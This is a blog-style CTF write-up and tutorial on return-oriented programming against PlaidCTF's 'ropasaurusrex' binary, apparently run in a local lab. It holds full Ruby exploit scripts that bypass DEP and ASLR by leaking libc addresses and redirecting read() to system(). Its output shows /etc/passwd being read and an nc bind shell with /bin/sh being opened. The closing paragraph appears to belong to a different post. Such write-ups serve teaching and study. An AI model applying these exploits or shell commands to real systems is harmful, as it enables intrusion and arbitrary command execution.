One of the worst feelings when playing a capture-the-flag challenge is the hindsight problem. You spend a few hours on a level—nothing like the amount of time I spent on cnot, not by a fraction—and realize that it was actually pretty easy. But also a brainfuck. That's what ROP's all about, after all!

Anyway, even though I spent a lot of time working on the wrong solution (specifically, I didn't think to bypass ASLR for quite awhile), the process we took of completing the level first without, then with ASLR, is actually a good way to show it, so I'll take the same route on this post.

Before I say anything else, I have to thank HikingPete for being my wingman on this one. Thanks to him, we solved this puzzle much more quickly and, for a short time, were in 3rd place worldwide!

Coincidentally, I've been meaning to write a post on ROP for some time now. I even wrote a vulnerable demo program that I was going to base this on! But, since PlaidCTF gave us this challenge, I thought I'd talk about it instead! This isn't just a writeup, this is designed to be a fairly in-depth primer on return-oriented programming! If you're more interested in the process of solving a CTF level, have a look at my writeup of cnot. :)

What the heck is ROP?

ROP—return-oriented programming—is a modern name for a classic exploit called "return into libc". The idea is that you found an overflow or other type of vulnerability in a program that lets you take control, but you have no reliable way get your code into executable memory (DEP, or data execution prevention, means that you can't run code from anywhere you want anymore).

With ROP, you can pick and choose pieces of code that are already in sections executable memory and followed by a 'return'. Sometimes those pieces are simple, and sometimes they're complicated. In this exercise, we only need the simple stuff, thankfully!

But, we're getting ahead of ourselves. Let's first learn a little more about the stack! I'm not going to spend a ton of time explaining the stack, so if this is unclear, please check out my assembly tutorial.

The stack

I'm sure you've heard of the stack before. Stack overflows? Smashing the stack? But what's it actually mean? If you already know, feel free to treat this as a quick primer, or to just skip right to the next section. Up to you!

The simple idea is, let's say function A() calls function B() with two parameters, 1 and 2. Then B() calls C() with two parameters, 3 and 4. When you're in C(), the stack looks like this:

+----------------------+
|         ...          | (higher addresses)
+----------------------+

+----------------------+ <-- start of 'A's stack frame
|   [return address]   | <-- address of whatever called 'A'
+----------------------+
|   [frame pointer]    |
+----------------------+
|   [local variables]  |
+----------------------+

+----------------------+ <-- start of 'B's stack frame
|         2 (parameter)|
+----------------------+
|         1 (parameter)|
+----------------------+
|   [return address]   | <-- the address that 'B' returns to
+----------------------+
|   [frame pointer]    |
+----------------------+
|   [local variables]  |
+----------------------+

+----------------------+ <-- start of 'C's stack frame
|         4 (parameter)|
+----------------------+
|         3 (parameter)|
+----------------------+
|   [return address]   | <-- the address that 'C' returns to
+----------------------+

+----------------------+
|         ...          | (lower addresses)
+----------------------+

This is quite a mouthful (eyeful?) if you don't live and breathe all the time at this depth, so let me explain a bit. Every time you call a function, a new "stack frame" is built. A "frame" is simply some memory that the function allocates for itself on the stack. In fact, it doesn't even allocate it, it just adds stuff to the end and updates the esp register so any functions it calls know where its own stack frame needs to start (esp, the stack pointer, is basically a variable).

This stack frame holds the context for the current function, and lets you easily a) build frames for new functions being called, and b) return to previous frames (i.e., return from functions). esp (the stack pointer) moves up and down, but always points to the top of the stack (the lowest address).

Have you ever wondered where a function's local variables go when you call another function (or, better yet, you call the same function again recursively)? Of course not! But if you did, now you'd know: they wind up in an old stack frame that we return to later!

Now, let's look at what's stored on the stack, in the order it gets pushed (note that, confusingly, you can draw a stack either way; in this document, the stack grows from top to bottom, so the older/callers are on top and the newer/callees are on the bottom):

• Parameters: The parameters that were passed into the function by the caller—these are extremely important with ROP.
• Return address: Every function needs to know where to go when it's done. When you call a function, the address of the instruction right after the call is pushed onto the stack prior to entering the new function. When you return, the address is popped off the stack and is jumped to. This is extremely important with ROP.
• Saved frame pointer: Let's totally ignore this. Seriously. It's just something that compilers typically do, except when they don't, and we won't speak of it again.
• Local variables: A function can allocate as much memory as it needs (within reason) to store local variables. They go here. They don't matter at all for ROP and can be safely ignored.

So, to summarize: when a function is called, parameters are pushed onto the stack, followed by the return address. When the function returns, it grabs the return address off the stack and jumps to it. The parameters pushed onto the stack are removed by the calling function, except when they're not. We're going to assume the caller cleans up, that is, the function doesn't clean up after itself, since that's is how it works in this challenge (and most of the time on Linux).

Heaven, hell, and stack frames

The main thing you have to understand to know ROP is this: a function's entire universe is its stack frame. The stack is its god, the parameters are its commandments, local variables are its sins, the saved frame pointer is its bible, and the return address is its heaven (okay, probably hell). It's all right there in the Book of Intel, chapter 3, verses 19 - 26 (note: it isn't actually, don't bother looking).

Let's say you call the sleep() function, and get to the first line; its stack frame is going to look like this:

          ...            <-- don't know, don't care territory (higher addresses)
+----------------------+
|      [seconds]       |
+----------------------+
|   [return address]   | <-- esp points here
+----------------------+
          ...            <-- not allocated, don't care territory (lower addresses)

When sleep() starts, this stack frame is all it sees. It can save a frame pointer (crap, I mentioned it twice since I promised not to; I swear I won't mention it again) and make room for local variables by subtracting the number of bytes it wants from esp (ie, making esp point to a lower address). It can call other functions, which create new frames under esp. It can do many different things; what matters is that, when it sleep() starts, the stack frame makes up its entire world.

When sleep() returns, it winds up looking like this:

          ...            <-- don't know, don't care territory (higher addresses)
+----------------------+
|      [seconds]       | <-- esp points here
+----------------------+
| [old return address] | <-- not allocated, don't care territory starts here now
+----------------------+
          ...            (lower addresses)

And, of course, the caller, after sleep() returns, will remove "seconds" from the stack by adding 4 to esp (later on, we'll talk about how we have to use pop/pop/ret constructs to do the same thing).

In a properly working system, this is how life works. That's a safe assumption. The "seconds" value would only be on the stack if it was pushed, and the return address is going to point to the place it was called from. Duh. How else would it get there?

Controlling the stack

...well, since you asked, let me tell you. We've all heard of a "stack overflow", which involves overwriting a variable on the stack. What's that mean? Well, let's say we have a frame that looks like this:

          ...            <-- don't know, don't care territory (higher addresses)
+----------------------+
|      [seconds]       |
+----------------------+
|   [return address]   | <-- esp points here
+----------------------+
|     char buf[16]     |
|                      |
|                      |
|                      |
+----------------------+
          ...            (lower addresses)

The variable buf is 16 bytes long. What happens if a program tries to write to the 17^th byte of buf (i.e., buf[16])? Well, it writes to the last byte—little endian—of the return address. The 18^th byte writes to the second-last byte of the return address, and so on. Therefore, we can change the return address to point to anywhere we want. Anywhere we want. So when the function returns, where's it go? Well, it thinks it's going to where it's supposed to go—in a perfect world, it would be—but nope! In this case, it's going to wherever the attacker wants it to. If the attacker says to jump to 0, it jumps to 0 and crashes. If the attacker says to go to 0x41414141 ("AAAA"), it jumps there and probably crashes. If the attacker says to jump to the stack... well, that's where it gets more complicated...

DEP

Traditionally, an attacker would change the return address to point to the stack, since the attacker already has the ability to put code on the stack (after all, code is just a bunch of bytes!). But, being that it was such a common and easy way to exploit systems, those assholes at OS companies (just kidding, I love you guys :) ) put a stop to it by introducing data execution prevention, or DEP. On any DEP-enabled system, you can no longer run code on the stack—or, more generally, anywhere an attacker can write—instead, it crashes.

So how the hell do I run code without being allowed to run code!?

Well, we're going to get to that. But first, let's look at the vulnerability that the challenge uses!

The vulnerability

Here's the vulnerable function, fresh from IDA:

 1   .text:080483F4vulnerable_function proc near
 2   .text:080483F4
 3   .text:080483F4buf             = byte ptr -88h
 4   .text:080483F4
 5   .text:080483F4         push    ebp
 6   .text:080483F5         mov     ebp, esp
 7   .text:080483F7         sub     esp, 98h
 8   .text:080483FD         mov     dword ptr [esp+8], 100h ; nbytes
 9   .text:08048405         lea     eax, [ebp+buf]
10   .text:0804840B         mov     [esp+4], eax    ; buf
11   .text:0804840F         mov     dword ptr [esp], 0 ; fd
12   .text:08048416         call    _read
13   .text:0804841B         leave
14   .text:0804841C         retn
15   .text:0804841Cvulnerable_function endp

Now, if you don't know assembly, this might look daunting. But, in fact, it's simple. Here's the equivalent C:

1   ssize_t __cdecl vulnerable_function()
2   {
3     char buf[136];
4     return read(0, buf, 256);
5   }

So, it reads 256 bytes into a 136-byte buffer. Goodbye Mr. Stack!

You can easily validate that by running it, piping in a bunch of 'A's, and seeing what happens:

1   ron@debian-x86 ~ $ ulimit -c unlimited
2   ron@debian-x86 ~ $ perl -e "print 'A'x300" | ./ropasaurusrex
3   Segmentation fault (core dumped)
4   ron@debian-x86 ~ $ gdb ./ropasaurusrex core
5   [...]
6   Program terminated with signal 11, Segmentation fault.
7   #0  0x41414141 in ?? ()
8   (gdb)

Simply speaking, it means that we overwrote the return address with the letter A 4 times (0x41414141 = "AAAA").

Now, there are good ways and bad ways to figure out exactly what you control. I used a bad way. I put "BBBB" at the end of my buffer and simply removed 'A's until it crashed at 0x42424242 ("BBBB"):

1   ron@debian-x86 ~ $ perl -e "print 'A'x140;print 'BBBB'" | ./ropasaurusrex
2   Segmentation fault (core dumped)
3   ron@debian-x86 ~ $ gdb ./ropasaurusrex core
4   #0  0x42424242 in ?? ()

If you want to do this "better" (by which I mean, slower), check out Metasploit's pattern_create.rb and pattern_offset.rb. They're great when guessing is a slow process, but for the purpose of this challenge it was so quick to guess and check that I didn't bother.

Starting to write an exploit

The first thing you should do is start running ropasaurusrex as a network service. The folks who wrote the CTF used xinetd to do this, but we're going to use netcat, which is just as good (for our purposes):

1 $ while true; do nc -vv -l -p 4444 -e ./ropasaurusrex; done
2 listening on [any] 4444 ...

From now on, we can use localhost:4444 as the target for our exploit and test if it'll work against the actual server.

You may also want to disable ASLR if you're following along:

1 $ sudo sysctl -w kernel.randomize_va_space=0

Note that this will make your system easier to exploit, so I don't recommend doing this outside of a lab environment!

Here's some ruby code for the initial exploit:

 1 require 'socket'
 2 
 3 $ cat ./sploit.rb
 4 s = TCPSocket.new("localhost", 4444)
 5 
 6 # Generate the payload
 7 payload = "A"*140 +
 8   [
 9     0x42424242,
10   ].pack("I*") # Convert a series of 'ints' to a string
11 
12 s.write(payload)
13 s.close()

Run that with ruby ./sploit.rb and you should see the service crash:

1 connect to [127.0.0.1] from debian-x86.skullseclabs.org [127.0.0.1] 53451
2 Segmentation fault (core dumped)

And you can verify, using gdb, that it crashed at the right location:

1 gdb --quiet ./ropasaurusrex core
2 [...]
3 Program terminated with signal 11, Segmentation fault.
4 #0  0x42424242 in ?? ()

We now have the beginning of an exploit!

How to waste time with ASLR

I called this section 'wasting time', because I didn't realize—at the time—that ASLR was enabled. However, assuming no ASLR actually makes this a much more instructive puzzle. So for now, let's not worry about ASLR—in fact, let's not even define ASLR. That'll come up in the next section.

Okay, so what do we want to do? We have a vulnerable process, and we have the libc shared library. What's the next step?

Well, our ultimate goal is to run system commands. Because stdin and stdout are both hooked up to the socket, if we could run, for example, system("cat /etc/passwd"), we'd be set! Once we do that, we can run any command. But doing that involves two things:

1. Getting the string cat /etc/passwd into memory somewhere
2. Running the system() function

Getting the string into memory

Getting the string into memory actually involves two sub-steps:

1. Find some memory that we can write to
2. Find a function that can write to it

Tall order? Not really! First things first, let's find some memory that we can read and write! The most obvious place is the .data section:

1 ron@debian-x86 ~ $ objdump -x ropasaurusrex  | grep -A1 '\.data'
2  23 .data         00000008  08049620  08049620  00000620  2**2
3                    CONTENTS, ALLOC, LOAD, DATA
4 

Uh oh, .data is only 8 bytes long. That's not enough! In theory, any address that's long enough, writable, and not used will be enough for what we need. Looking at the output for objdump -x, I see a section called .dynamic that seems to fit the bill:

1 
2  20 .dynamic      000000d0  08049530  08049530  00000530  2**2
3                    CONTENTS, ALLOC, LOAD, DATA

The .dynamic section holds information for dynamic linking. We don't need that for what we're going to do, so let's choose address 0x08049530 to overwrite.

The next step is to find a function that can write our command string to address 0x08049530. The most convenient functions to use are the ones that are in the executable itself, rather than a library, since the functions in the executable won't change from system to system. Let's look at what we have:

 1 ron@debian-x86 ~ $ objdump -R ropasaurusrex
 2 
 3 ropasaurusrex:     file format elf32-i386
 4 
 5 DYNAMIC RELOCATION RECORDS
 6 OFFSET   TYPE              VALUE
 7 08049600 R_386_GLOB_DAT    __gmon_start__
 8 08049610 R_386_JUMP_SLOT   __gmon_start__
 9 08049614 R_386_JUMP_SLOT   write
10 08049618 R_386_JUMP_SLOT   __libc_start_main
11 0804961c R_386_JUMP_SLOT   read

So, we have read() and write() immediately available. That's helpful! The read() function will read data from the socket and write it to memory. The prototype looks like this:

1 ssize_t read(int fd, void *buf, size_t count);

This means that, when you enter the read() function, you want the stack to look like this:

+----------------------+
|         ...          | - doesn't matter, other funcs will go here
+----------------------+

+----------------------+ <-- start of read()'s stack frame
|     size_t count     | - count, strlen("cat /etc/passwd")
+----------------------+
|      void *buf       | - writable memory, 0x08049530
+----------------------+
|        int fd        | - should be 'stdin' (0)
+----------------------+
|   [return address]   | - where 'read' will return
+----------------------+

+----------------------+
|         ...          | - doesn't matter, read() will use for locals
+----------------------+

We update our exploit to look like this (explanations are in the comments):

 1 $ cat sploit.rb
 2 require 'socket'
 3 
 4 s = TCPSocket.new("localhost", 4444)
 5 
 6 # The command we'll run
 7 cmd = ARGV[0] + "\0"
 8 
 9 # From objdump -x
10 buf = 0x08049530
11 
12 # From objdump -D ./ropasaurusrex | grep read
13 read_addr = 0x0804832C
14 # From objdump -D ./ropasaurusrex | grep write
15 write_addr = 0x0804830C
16 
17 # Generate the payload
18 payload = "A"*140 +
19   [
20     cmd.length, # number of bytes
21     buf,        # writable memory
22     0,          # stdin
23     0x43434343, # read's return address
24 
25     read_addr # Overwrite the original return
26   ].reverse.pack("I*") # Convert a series of 'ints' to a string
27 
28 # Write the 'exploit' payload
29 s.write(payload)
30 
31 # When our payload calls read() the first time, this is read
32 s.write(cmd)
33 
34 # Clean up
35 s.close()

We run that against the target:

1 ron@debian-x86 ~ $ ruby sploit.rb "cat /etc/passwd"

And verify that it crashes:

1 listening on [any] 4444 ...
2 connect to [127.0.0.1] from debian-x86.skullseclabs.org [127.0.0.1] 53456
3 Segmentation fault (core dumped)

Then verify that it crashed at the return address of read() (0x43434343) and wrote the command to the memory at 0x08049530:

1 $ gdb --quiet ./ropasaurusrex core
2 [...]
3 Program terminated with signal 11, Segmentation fault.
4 #0  0x43434343 in ?? ()
5 (gdb) x/s 0x08049530
6 0x8049530:       "cat /etc/passwd"

Perfect!

Running it

Now that we've written cat /etc/passwd into memory, we need to call system() and point it at that address. It turns out, if we assume ASLR is off, this is easy. We know that the executable is linked with libc:

1 $ ldd ./ropasaurusrex
2         linux-gate.so.1 =>  (0xb7703000)
3         libc.so.6 => /lib/i686/cmov/libc.so.6 (0xb75aa000)
4         /lib/ld-linux.so.2 (0xb7704000)

And libc.so.6 contains the system() function:

1 $ objdump -T /lib/i686/cmov/libc.so.6 | grep system
2 000f5470 g    DF .text  00000042  GLIBC_2.0   svcerr_systemerr
3 00039450 g    DF .text  0000007d  GLIBC_PRIVATE __libc_system
4 00039450  w   DF .text  0000007d  GLIBC_2.0   system

We can figure out the address where system() ends up loaded in ropasaurusrex in our debugger:

1 $ gdb --quiet ./ropasaurusrex core
2 [...]
3 Program terminated with signal 11, Segmentation fault.
4 #0  0x43434343 in ?? ()
5 (gdb) x/x system
6 0xb7ec2450 <system>:    0x890cec83

Because system() only takes one argument, building the stackframe is pretty easy:

+----------------------+
|         ...          | - doesn't matter, other funcs will go here
+----------------------+

+----------------------+ <-- Start of system()'s stack frame
|      void *arg       | - our buffer, 0x08049530
+----------------------+
|   [return address]   | - where 'system' will return
+----------------------+
|         ...          | - doesn't matter, system() will use for locals
+----------------------+

Now if we stack this on top of our read() frame, things are looking pretty good:

+----------------------+
|         ...          |
+----------------------+

+----------------------+ <-- Start of system()'s stack frame
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+

+----------------------+ <-- Start of read()'s frame
|     size_t count     |
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        |
+----------------------+
| [address of system]  | <-- Stack pointer
+----------------------+

+----------------------+
|         ...          |
+----------------------+

At the moment that read() returns, the stack pointer is in the location shown above. When it returns, it pops read()'s return address off the stack and jumps to it. When it does, this is what the stack looks like when read() returns:

+----------------------+
|         ...          |
+----------------------+

+----------------------+ <-- Start of system()'s frame
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+

+----------------------+ <-- Start of read()'s frame
|     size_t count     |
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        | <-- Stack pointer
+----------------------+
| [address of system]  |
+----------------------+

+----------------------+
|         ...          |
+----------------------+

Uh oh, that's no good! The stack pointer is pointing to the middle of read()'s frame when we enter system(), not to the bottom of system()'s frame like we want it to! What do we do?

Well, when perform a ROP exploit, there's a very important construct we need called pop/pop/ret. In this case, it's actually pop/pop/pop/ret, which we'll call "pppr" for short. Just remember, it's enough "pops" to clear the stack, followed by a return.

pop/pop/pop/ret is a construct that we use to remove the stuff we don't want off the stack. Since read() has three arguments, we need to pop all three of them off the stack, then return. To demonstrate, here's what the stack looks like immediately after read() returns to a pop/pop/pop/ret:

+----------------------+
|         ...          |
+----------------------+

+----------------------+ <-- Start of system()'s frame
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+

+----------------------+ <-- Special frame for pop/pop/pop/ret
| [address of system]  |
+----------------------+

+----------------------+ <-- Start of read()'s frame
|     size_t count     |
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        | <-- Stack pointer
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+
|         ...          |
+----------------------+

After "pop/pop/pop/ret" runs, but before it returns, we get this:

+----------------------+
|         ...          |
+----------------------+

+----------------------+ <-- Start of system()'s frame
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+

+----------------------+ <-- pop/pop/pop/ret's frame
| [address of system]  | <-- stack pointer
+----------------------+

+----------------------+
|     size_t count     | <-- read()'s frame
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        |
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+
|         ...          |
+----------------------+

Then when it returns, we're exactly where we want to be:

+----------------------+
|         ...          |
+----------------------+

+----------------------+ <-- Start of system()'s frame
|      void *arg       |
+----------------------+
|   [return address]   | <-- stack pointer
+----------------------+

+----------------------+ <-- pop/pop/pop/ret's frame
| [address of system]  |
+----------------------+

+----------------------+ <-- Start of read()'s frame
|     size_t count     |
+----------------------+
|      void *buf       |
+----------------------+
|        int fd        |
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+
|         ...          |
+----------------------+

Finding a pop/pop/pop/ret is pretty easy using objdump:

1 $ objdump -d ./ropasaurusrex | egrep 'pop|ret'
2 [...]
3  80484b5:       5b                      pop    ebx
4  80484b6:       5e                      pop    esi
5  80484b7:       5f                      pop    edi
6  80484b8:       5d                      pop    ebp
7  80484b9:       c3                      ret

This lets us remove between 1 and 4 arguments off the stack before executing the next function. Perfect!

And remember, if you're doing this yourself, ensure that the pops are at consecutive addresses. Using egrep to find them can be a little dangerous like that.

So now, if we want a triple pop and a ret (to remove the three arguments that read() used), we want the address 0x80484b6, so we set up our stack like this:

+----------------------+
|         ...          |
+----------------------+

+----------------------+ <-- Start of system()'s frame
|      void *arg       | - 0x08049530 (buf)
+----------------------+
|   [return address]   | - 0x44444444
+----------------------+

+----------------------+
| [address of system]  | - 0xb7ec2450
+----------------------+

+----------------------+ <-- Start of read()'s frame
|     size_t count     | - strlen(cmd)
+----------------------+
|      void *buf       | - 0x08049530 (buf)
+----------------------+
|        int fd        | - 0 (stdin)
+----------------------+
| [address of "pppr"]  | - 0x080484b6
+----------------------+

+----------------------+
|         ...          |
+----------------------+

We also update our exploit with a s.read() at the end, to read whatever data the remote server sends us. The current exploit now looks like:

 1 require 'socket'
 2 
 3 s = TCPSocket.new("localhost", 4444)
 4 
 5 # The command we'll run
 6 cmd = ARGV[0] + "\0"
 7 
 8 # From objdump -x
 9 buf = 0x08049530
10 
11 # From objdump -D ./ropasaurusrex | grep read
12 read_addr = 0x0804832C
13 # From objdump -D ./ropasaurusrex | grep write
14 write_addr = 0x0804830C
15 # From gdb, "x/x system"
16 system_addr = 0xb7ec2450
17 # From objdump, "pop/pop/pop/ret"
18 pppr_addr = 0x080484b6
19 
20 # Generate the payload
21 payload = "A"*140 +
22   [
23     # system()'s stack frame
24     buf,         # writable memory (cmd buf)
25     0x44444444,  # system()'s return address
26 
27     # pop/pop/pop/ret's stack frame
28     system_addr, # pop/pop/pop/ret's return address
29 
30     # read()'s stack frame
31     cmd.length,  # number of bytes
32     buf,         # writable memory (cmd buf)
33     0,           # stdin
34     pppr_addr,   # read()'s return address
35 
36     read_addr # Overwrite the original return
37   ].reverse.pack("I*") # Convert a series of 'ints' to a string
38 
39 # Write the 'exploit' payload
40 s.write(payload)
41 
42 # When our payload calls read() the first time, this is read
43 s.write(cmd)
44 
45 # Read the response from the command and print it to the screen
46 puts(s.read)
47 
48 # Clean up
49 s.close()

And when we run it, we get the expected result:

1 $ ruby sploit.rb "cat /etc/passwd"
2 root:x:0:0:root:/root:/bin/bash
3 daemon:x:1:1:daemon:/usr/sbin:/bin/sh
4 bin:x:2:2:bin:/bin:/bin/sh
5 ...

And if you look at the core dump, you'll see it's crashing at 0x44444444 as expected.

Done, right?

WRONG!

This exploit worked perfectly against my test machine, but when ASLR is enabled, it failed:

1 $ sudo sysctl -w kernel.randomize_va_space=1
2 kernel.randomize_va_space = 1
3 ron@debian-x86 ~ $ ruby sploit.rb "cat /etc/passwd"

This is where it starts to get a little more complicated. Let's go!

What is ASLR?

ASLR—or address space layout randomization—is a defense implemented on all modern systems (except for FreeBSD) that randomizes the address that libraries are loaded at. As an example, let's run ropasaurusrex twice and get the address of system():

 1 ron@debian-x86 ~ $ perl -e 'printf "A"x1000' | ./ropasaurusrex
 2 Segmentation fault (core dumped)
 3 ron@debian-x86 ~ $ gdb ./ropasaurusrex core
 4 Program terminated with signal 11, Segmentation fault.
 5 #0  0x41414141 in ?? ()
 6 (gdb) x/x system
 7 0xb766e450 <system>:    0x890cec83
 8 
 9 ron@debian-x86 ~ $ perl -e 'printf "A"x1000' | ./ropasaurusrex
10 Segmentation fault (core dumped)
11 ron@debian-x86 ~ $ gdb ./ropasaurusrex core
12 Program terminated with signal 11, Segmentation fault.
13 #0  0x41414141 in ?? ()
14 (gdb) x/x system
15 0xb76a7450 <system>:    0x890cec83

Notice that the address of system() changes from 0xb766e450 to 0xb76a7450. That's a problem!

Defeating ASLR

So, what do we know? Well, the binary itself isn't ASLRed, which means that we can rely on every address in it to stay put, which is useful. Most importantly, the relocation table will remain at the same address:

 1 $ objdump -R ./ropasaurusrex
 2 
 3 ./ropasaurusrex:     file format elf32-i386
 4 
 5 DYNAMIC RELOCATION RECORDS
 6 OFFSET   TYPE              VALUE
 7 08049600 R_386_GLOB_DAT    __gmon_start__
 8 08049610 R_386_JUMP_SLOT   __gmon_start__
 9 08049614 R_386_JUMP_SLOT   write
10 08049618 R_386_JUMP_SLOT   __libc_start_main
11 0804961c R_386_JUMP_SLOT   read

So we know the address—in the binary—of read() and write(). What's that mean? Let's take a look at their values while the binary is running:

1 $ gdb ./ropasaurusrex
2 (gdb) run
3 ^C
4 Program received signal SIGINT, Interrupt.
5 0xb7fe2424 in __kernel_vsyscall ()
6 (gdb) x/x 0x0804961c
7 0x804961c:      0xb7f48110
8 (gdb) print read
9 $1 = {<text variable, no debug info>} 0xb7f48110 <read>

Well look at that.. a pointer to read() at a memory address that we know! What can we do with that, I wonder...? I'll give you a hint: we can use the write() function—which we also know—to grab data from arbitrary memory and write it to the socket.

Finally, running some code!

Okay, let's break, this down into steps. We need to:

1. Copy a command into memory using the read() function.
2. Get the address of the write() function using the write() function.
3. Calculate the offset between write() and system(), which lets us get the address of system().
4. Call system().

To call system(), we're gonna have to write the address of system() somewhere in memory, then call it. The easiest way to do that is to overwrite the call to read() in the .plt table, then call read().

By now, you're probably confused. Don't worry, I was too. I was shocked I got this working. :)

Let's just go for broke now and get this working! Here's the stack frame we want:

+----------------------+
|         ...          |
+----------------------+

+----------------------+ <-- system()'s frame [7]
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+

+----------------------+ <-- pop/pop/pop/ret's frame [6]
|  [address of read]   | - this will actually jump to system()
+----------------------+

+----------------------+ <-- second read()'s frame [5]
|     size_t count     | - 4 bytes (the size of a 32-bit address)
+----------------------+
|      void *buf       | - pointer to read() so we can overwrite it
+----------------------+
|        int fd        | - 0 (stdin)
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+ <-- pop/pop/pop/ret's frame [4]
|  [address of read]   |
+----------------------+

+----------------------+ <-- write()'s frame [3]
|     size_t count     | - 4 bytes (the size of a 32-bit address)
+----------------------+
|      void *buf       | - The address containing a pointer to read()
+----------------------+
|        int fd        | - 1 (stdout)
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+ <-- pop/pop/pop/ret's frame [2]
|  [address of write]  |
+----------------------+

+----------------------+ <-- read()'s frame [1]
|     size_t count     | - strlen(cmd)
+----------------------+
|      void *buf       | - writeable memory
+----------------------+
|        int fd        | - 0 (stdin)
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+
|         ...          |
+----------------------+

Holy smokes, what's going on!?

Let's start at the bottom and work our way up! I tagged each frame with a number for easy reference.

Frame [1] we've seen before. It writes cmd into our writable memory. Frame [2] is a standard pop/pop/pop/ret to clean up the read().

Frame [3] uses write() to write the address of the read() function to the socket. Frame [4] uses a standard pop/pop/pop/ret to clean up after write().

Frame [5] reads another address over the socket and writes it to memory. This address is going to be the address of the system() call. The reason writing it to memory works is because of how read() is called. Take a look at the read() call we've been using in gdb (0x0804832C) and you'll see this:

1 (gdb) x/i 0x0804832C
2 0x804832c <read@plt>:   jmp    DWORD PTR ds:0x804961c

read() is actually implemented as an indirect jump! So if we can change what ds:0x804961c's value is, and still jump to it, then we can jump anywhere we want! So in frame [3] we read the address from memory (to get the actual address of read()) and in frame [5] we write a new address there.

Frame [6] is a standard pop/pop/pop/ret construct, with a small difference: the return address of the pop/pop/pop/ret is 0x804832c, which is actually read()'s .plt entry. Since we overwrote read()'s .plt entry with system(), this call actually goes to system()!

Final code

Whew! That's quite complicated. Here's code that implements the full exploit for ropasaurusrex, bypassing both DEP and ASLR:

 1 require 'socket'
 2 
 3 s = TCPSocket.new("localhost", 4444)
 4 
 5 # The command we'll run
 6 cmd = ARGV[0] + "\0"
 7 
 8 # From objdump -x
 9 buf = 0x08049530
10 
11 # From objdump -D ./ropasaurusrex | grep read
12 read_addr = 0x0804832C
13 # From objdump -D ./ropasaurusrex | grep write
14 write_addr = 0x0804830C
15 # From gdb, "x/x system"
16 system_addr = 0xb7ec2450
17 # Fram objdump, "pop/pop/pop/ret"
18 pppr_addr = 0x080484b6
19 
20 # The location where read()'s .plt entry is
21 read_addr_ptr = 0x0804961c
22 
23 # The difference between read() and system()
24 # Calculated as  read (0xb7f48110) - system (0xb7ec2450)
25 # Note: This is the one number that needs to be calculated using the
26 # target version of libc rather than my own!
27 read_system_diff = 0x85cc0
28 
29 # Generate the payload
30 payload = "A"*140 +
31   [
32     # system()'s stack frame
33     buf,         # writable memory (cmd buf)
34     0x44444444,  # system()'s return address
35 
36     # pop/pop/pop/ret's stack frame
37     # Note that this calls read_addr, which is overwritten by a pointer
38     # to system() in the previous stack frame
39     read_addr,   # (this will become system())
40 
41     # second read()'s stack frame
42     # This reads the address of system() from the socket and overwrites
43     # read()'s .plt entry with it, so calls to read() end up going to
44     # system()
45     4,           # length of an address
46     read_addr_ptr, # address of read()'s .plt entry
47     0,           # stdin
48     pppr_addr,   # read()'s return address
49 
50     # pop/pop/pop/ret's stack frame
51     read_addr,
52 
53     # write()'s stack frame
54     # This frame gets the address of the read() function from the .plt
55     # entry and writes to to stdout
56     4,           # length of an address
57     read_addr_ptr, # address of read()'s .plt entry
58     1,           # stdout
59     pppr_addr,   # retrurn address
60 
61     # pop/pop/pop/ret's stack frame
62     write_addr,
63 
64     # read()'s stack frame
65     # This reads the command we want to run from the socket and puts it
66     # in our writable "buf"
67     cmd.length,  # number of bytes
68     buf,         # writable memory (cmd buf)
69     0,           # stdin
70     pppr_addr,   # read()'s return address
71 
72     read_addr # Overwrite the original return
73   ].reverse.pack("I*") # Convert a series of 'ints' to a string
74 
75 # Write the 'exploit' payload
76 s.write(payload)
77 
78 # When our payload calls read() the first time, this is read
79 s.write(cmd)
80 
81 # Get the result of the first read() call, which is the actual address of read
82 this_read_addr = s.read(4).unpack("I").first
83 
84 # Calculate the address of system()
85 this_system_addr = this_read_addr - read_system_diff
86 
87 # Write the address back, where it'll be read() into the correct place by
88 # the second read() call
89 s.write([this_system_addr].pack("I"))
90 
91 # Finally, read the result of the actual command
92 puts(s.read())
93 
94 # Clean up
95 s.close()

And here it is in action:

1 $ ruby sploit.rb "cat /etc/passwd"
2 root:x:0:0:root:/root:/bin/bash
3 daemon:x:1:1:daemon:/usr/sbin:/bin/sh
4 bin:x:2:2:bin:/bin:/bin/sh
5 sys:x:3:3:sys:/dev:/bin/sh
6 [...]

You can, of course, change cat /etc/passwd to anything you want (including a netcat listener!)

 1 ron@debian-x86 ~ $ ruby sploit.rb "pwd"
 2 /home/ron
 3 ron@debian-x86 ~ $ ruby sploit.rb "whoami"
 4 ron
 5 ron@debian-x86 ~ $ ruby sploit.rb "nc -vv -l -p 5555 -e /bin/sh" &
 6 [1] 3015
 7 ron@debian-x86 ~ $ nc -vv localhost 5555
 8 debian-x86.skullseclabs.org [127.0.0.1] 5555 (?) open
 9 pwd
10 /home/ron
11 whoami
12 ron

Conclusion

And that's it! We just wrote a reliable, DEP/ASLR-bypassing exploit for ropasaurusrex.

Feel free to comment or contact me if you have any questions!

When I was at Shmoocon, I saw a talk about how to write an effective capture-the-flag contest. One of their suggestions was to have a tar-pit challenge that would waste all the time of the best player, by giving him a complicated challenge he won't be able to resist. In my opinion, in PlaidCTF, I suspected that "cnot" was that challenge. And I was the sucker, even though I knew it all the way...

(It turns out, after reviewing writeups of other challenges, that most of the challenges were like this; even so, I'm proud to have been sucked in!)

If you want a writeup where you can learn something, I plan to post a writeup for "Ropasaurus" in the next day or two. If you want a writeup about me being tortured as I fought through inconceivable horrors to finish a level and capture the bloody flag, read on! This level wasn't a lot of learning, just brute-force persistence.

